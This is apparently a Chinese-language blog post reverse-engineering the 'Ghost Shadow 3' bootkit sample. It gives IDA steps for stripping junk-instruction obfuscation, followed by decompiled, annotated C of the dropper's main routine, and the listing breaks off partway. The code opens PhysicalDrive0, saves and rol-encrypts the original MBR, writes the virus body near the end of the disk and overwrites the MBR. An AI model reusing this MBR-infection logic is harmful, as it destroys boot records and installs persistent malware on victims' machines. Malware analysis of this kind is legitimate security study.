鬼影3样本ASM2C(mb.exe + hello_tt.sys)

    好吧,蛋疼的考试已经结束了,暑假除了看论文之外没其他任务,这两天跟老板开完总结会议之后再看看要什么时候回家..老妈以为我暑假不回,这两天一直打电话想做说服工作-___-

    现在有点小困,不多做吐槽了.下午晚饭时间群里三哥又发福利,发了鬼影3的样本.晚上从吃完饭开始就一直再看.瞄的,HookStartIO部分真心看不懂.等再请教下人了.纯静态分析的人儿你们伤不起啊~~

    mb.exe里面加了花指令,在三哥的提示和自己研究下,总算顺利用上F5,提供一下给兄弟们参考吧(度娘关键字:鬼影3去花指令)

    在_main函数里面,有6处花指令,分别是0041164D, 00411695, 004116C6, 00411804, 0041184C, 0041187D.如图是41164D的,处理流程都一样,在那句JMP上面按U键取消IDA已经进行的分析,然后跳过一个字节,在第二个直接处按C键,这样就能够看到正常的代码,如果要用F5,需要把那个跳过的字节修改为0x90,也就是nop指令.里面花指令容易分辨,jb和jnb合起来就是jmp,跳转是跳转到41164E的地址,然后在jnb的指令后嵌入一句DB E9之类的,这些如果使用OD是可以观察出来的.在F5的时候如果遇到提示wrong basic type sizes in compiler settings则在Options->Complier里面设置sizeof(bool)为4个字节就可以了.

    

    下面是代码:

/*++
@file  Mb_exe.c
@auth   GaA.Ra
@date  2011.7.6
--*/

int __cdecl main(int argc, const char **argv, const char **envp)
{
	int result; // eax@3
	char MBREncodeByte; // al@12
	char VirusDecodeByte; // al@24
	HANDLE hFile; // [sp+Ch] [bp-250h]@30
	HANDLE hDrive; // [sp+14h] [bp-248h]@1
	unsigned int i; // [sp+18h] [bp-244h]@7
	unsigned int j; // [sp+18h] [bp-244h]@19
	unsigned int k; // [sp+18h] [bp-244h]@25
	BOOL bSuccess; // [sp+1Ch] [bp-240h]@1
	DWORD NumberOfBytesWritten; // [sp+30h] [bp-22Ch]@1
	__int64 DiskGeometry.Cylinders; // [sp+34h] [bp-228h]@1
	int DiskGeometry.MediaType; // [sp+3Ch] [bp-220h]@1
	unsigned int DiskGeometry.TracksPerCylinder; // [sp+40h] [bp-21Ch]@1
	unsigned int DiskGeometry.SectorPerTrack; // [sp+44h] [bp-218h]@1
	unsigned int DiskGeometry.BytesPerSector; // [sp+48h] [bp-214h]@1
	unsigned __int64 VirusOffsetOfBytes; // [sp+4Ch] [bp-210h]@1

	//这里可以看做Buffer[512],v20,v21等是对Buffer里面特定位置的数据进行操作
	char Buffer; // [sp+54h] [bp-208h]@1
	char v20; // [sp+55h] [bp-207h]@1
	char v21; // [sp+204h] [bp-58h]@7
	__int16 v22; // [sp+251h] [bp-Bh]@1
	char v23; // [sp+253h] [bp-9h]@1
	unsigned __int64 lDistanceToMove; // [sp+254h] [bp-8h]@1

	NumberOfBytesWritten = 0;
	VirusOffsetOfBytes = 0i64;
	// typedef struct _DISK_GEOMETRY 
	// {
	//   LARGE_INTEGER Cylinders;
	//   MEDIA_TYPE MediaType;
	//   DWORD TracksPerCylinder;
	//   DWORD SectorsPerTrack;
	//   DWORD BytesPerSector;
	// } DISK_GEOMETRY;
	// DISK_GEOMETRY DiskGeometry;
	DiskGeometry.Cylinders = 0i64;
	DiskGeometry.MediaType = 0;
	DiskGeometry.TracksPerCylinder = 0;
	DiskGeometry.SectorPerTrack = 0;
	DiskGeometry.BytesPerSector = 0;
	lDistanceToMove = 0i64;
	Buffer = 0;
	memset(&v20, 0, 0x1FCu);
	v22 = 0;
	v23 = 0;
	hDrive = CreateFileA("\\\\.\\PhysicalDrive0", 0xC0000000u, 3u, 0, 3u, 0, 0);

	// #define 
	// CTL_GET_DISK CTL_CODE( \
	//   FILE_DEVICE_DISK,    \
	//   IOCTL_DISK_GET_DRIVE_GEOMETRY, \
	//   METHOD_BUFFER, \
	//   FILE_ANY_ACCESS)
	// &DiskGeometry.Cylinders equ DISK_GEOMETRY Struct
	// DISK_GEOMETRY DiskGeometry
	// 得到一个DISK_GEOMETRY结构体,从而获取磁盘相关信息
	bSuccess = DeviceIoControl(hDrive, CTL_GET_DISK, 0, 0, &DiskGeometry, 0x18u, &NumberOfBytesWritten, 0);
	if ( hDrive != (HANDLE)-1 && bSuccess )
	{
		//病毒写入磁盘的位置,字节为单位
		VirusOffsetOfBytes = DiskGeometry.Cylinders
			* DiskGeometry.TracksPerCylinder
			* DiskGeometry.SectorPerTrack
			* DiskGeometry.BytesPerSector
			- 0x34800
			+ 0x200;
		if ( DiskGeometry.Cylinders
			* DiskGeometry.TracksPerCylinder
			* DiskGeometry.SectorPerTrack
			* DiskGeometry.BytesPerSector )
		{
			if ( ReadFile(hDrive, &Buffer, 0x200u, &NumberOfBytesWritten, 0) )
			{
				memcpy(OriginateEncodeMBR, &Buffer, sizeof(OriginateEncodeMBR));
				memcpy(PartitionTableAndOther, &v21, 0x50u);// 0x1B0 - EndOfMBR
				VirusOffsetOfSectors = VirusOffsetOfBytes / 0x200;

				//复制原始MBR并进行简单的加密(循环左移3位)
				for ( i = 0x2600u; i < 0x2800; ++i )
				{
					if ( VirusContent[i] )                // VirusContent[0x2600] equ OriginateEncodeMBR
					{
						MBREncodeByte = __ROL__(VirusContent[i], 0x73u);// __asm rol; rol Byte, 3(0x73%8)
						VirusContent[i] = MBREncodeByte;
					}
				}
				lDistanceToMove = VirusOffsetOfBytes;
				if ( SetFilePointer(hDrive, VirusOffsetOfBytes, (PLONG)&lDistanceToMove + 1, 0) != -1 )// SetFilePointer to VirusOffsetOfBytes
				{
					// Copy VirusContent[0x200 - 0x2800] to disk
					// OriginateMBR(Encode) is at the last 0x200 bytes
					if ( WriteFile(hDrive, &VirusContent+0x200, 0x2600u, &NumberOfBytesWritten, 0) )
					{
						lDistanceToMove = 0i64;
						if ( SetFilePointer(hDrive, 0, (PLONG)&lDistanceToMove + 1, 0) != -1 )
						{
							if ( WriteFile(hDrive, VirusContent, 0x200u, &NumberOfBytesWritten, 0) )// VirusContent[0x0 - 0x200] equ VirusMBR
							{
								lDistanceToMove = VirusOffsetOfBytes + 0x2600;
								// SetFilePointer to VirusOffsetOfByte + 0x2600
								//